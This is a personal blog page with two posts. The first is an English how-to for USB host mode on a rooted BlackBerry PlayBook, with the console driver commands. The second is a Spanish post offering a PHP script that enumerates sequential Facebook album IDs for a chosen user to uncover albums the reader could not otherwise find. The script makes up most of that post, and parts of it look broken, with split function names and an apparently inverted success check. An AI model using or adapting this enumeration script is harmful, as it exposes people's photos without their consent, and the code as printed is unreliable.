ene 04 2012

BlackBerry PlayBook USB Host (conectar pendrive) – How to

Category: BlackBerry,Código,Playbook,pseudo-hacksguillem @ 2:02

Well, I finally found time to write a little howto on using your pendrive with the PlayBook. I’m sorry about the delay on publishing this, but i was out of home for a few days and couldn’t find time to write the howto.

Well, let’s go to the howto. Things you will need:

– BlackBerry PlayBook

– Root access to your PlayBook (thanks to dingleberry :) )

– Female USB A to micro USB cable and a soldering iron OR USB OTG cable (for example this one will work: Micro USB OTG Cable)

– A pendrive

Now i will try to make instructions as short and clear as possible. Just let me know if something is unclear. I would also like to let you know that i have only tested this on a 1.8.xxx PlayBook version, so results on OS2 are unknown (i haven’t got access to a PlayBook with OS2 and i’m not wishing to upgrade mine at the moment). Please keep this in mind when trying to use this method.

First step – The USB OTG Cable

Get a USB OTG cable or just find a Female USB A to micro USB cable, open the micro USB side and solder pins 4 and 5 of the micro USB port together (this is what turns the USB port into host mode). The photo shows the first version i used. Then i decided to get a nice USB OTG angle cable as you can see in the first photo of the post. If you are interested in one of those, just let me know.

Second step – Console commands

When you have your USB OTG cable, you can proceed to run the commands to load the necessary kernel drivers. The nice part is that everything is already on the PlayBook, so you don’t really need to upload anything. The commands you will need to run are the following:

slay RIM_usbmgr-Winchester
slay io-usb
slay devb-umass
sleep 2
RIM_usbmgr-Winchester -m0s
io-usb -domap4430-mg ioport=0x4a0ab000,irq=124
sleep 2
waitfor /dev/io-usb/io-usb 4
devb-umass cam pnp blk automount=+hd6t6:/accounts/1000/shared/usb:dos,automount=+hd6:/accounts/1000/shared/usb:dos

The only line you really need to pay attention to, is the last one. It shows where the pendrive will be automatically mounted after you connect it. You can specify different mount points for different partitions just separating them by comas (in my example command, hd6t6 and hd6 shown)

The other commands just kill the USB server running and start it with the required commands to be able to run the USB port as a host port. There is also a command to load the kernel driver (io-usb domap….).

Last step – Connect your pendrive

If all went well, you should now be able to connect your pendrive and access contents on the mount folder you selected. Please keep also in mind that you must first create this directory for the automount to work. I also noticed that sometimes the kernel modules does produce a bus error and crashes. If that happens, just try to run all the commands again.

I really expect to be able to improve this method or provide a ready app to execute all the process, but at the current time, this has no ETA. If you want, you can follow me on @guillemmateos and i will tweet any finding or progress I make about this.

If you have any suggestions or are able to get different OS versions working with this method I’d be really happy if you could post it here and let me know.

Thanks!

Etiquetas: , , ,


nov 06 2010

Facebook ‘hacking’

Category: Linux,PHP,pseudo-hacks,Socialguillem @ 4:05

El ‘hacking’ del título está entre comillas porque realmente no se trata de ninguna cosa muy espectacular. Lo que os quiero mostrar a continuación es un pequeño script en PHP que hice ya hace algún tiempo y que permite obtener la dirección de un álbum de alguien de facebook para poder verlo. Obviamente dicha persona no debe tener restringido el álbum, pues en caso de ser así no se ve nada de nada. Sin embargo, en el caso de que no esté restringido, se pueden ver álbumes completos a los que de otra forma no podríamos acceder. En definitiva no deja de ser un script para ‘deofuscación’ más que un hack.

En el script en si hay que poner tres parámetros:
– el $uid: corresponde al indentificador del usuario del que queréis buscar el álbum
– $from y $to: corresponden a los identificadores de álbum entre los que queremos buscar. Estos dos parámetros son los difíciles de aproximar. Por lo que he podido ver parece que se asignan de forma secuencial a cada álbum que se crea. La mejor forma para aproximar es buscar algún perfil con un Id cercano al que estáis buscando el álbum y que permita ver sus álbumes. Mirad el aid del álbum de dicho perfil y probad con un from y un to entre 500 más abajo y 500 más arriba (por lo menos). Este método sin duda es muy rudimentario, pero funciona. Quizá algún día automatice el script para que haga también una estimación del from y el to, pero eso será más adelante…

//Set User ID here
$uid = 4;
//Album ID to start from. 'Guessing' required...
$from = 1;
//Album ID to finish at. 'Guessing' required...
$to = 500;

$server = gethostbyname( 'www.facebook.com' );

for ( $ii = $from; $ii < $to; $ii++ )
{
sockAccess( $ii );
}

function sockAccess($ii)
{
global $uid;
$page = "album.php?aid=$ii&id=$uid";
global $server;
$errno = '';
$errstr = '';
$fp = 0;
$fp = fsockopen( $server, 80, $errno, $errstr, 30 );
if( $fp === 0 )
die( "Error $errstr ($errno)" );

$out = "GET /$page HTTP/1.1\r\n";
$out .= "Host: $server\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1";
$out .= " en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$out .= "Connection: Close\r\n\r\n";
f write( $fp, $out );
$content = fgets( $fp );
$code = trim( substr( $content, 9, 4 ) );
f close( $fp );
if( $code != 200 )
echo "Album found!: http://www.facebook.com/album.php?aid=$ii&id=$uid\n";
if( !($ii%10) )
echo "Trying around: $ii\n";
return true;

Etiquetas: , , ,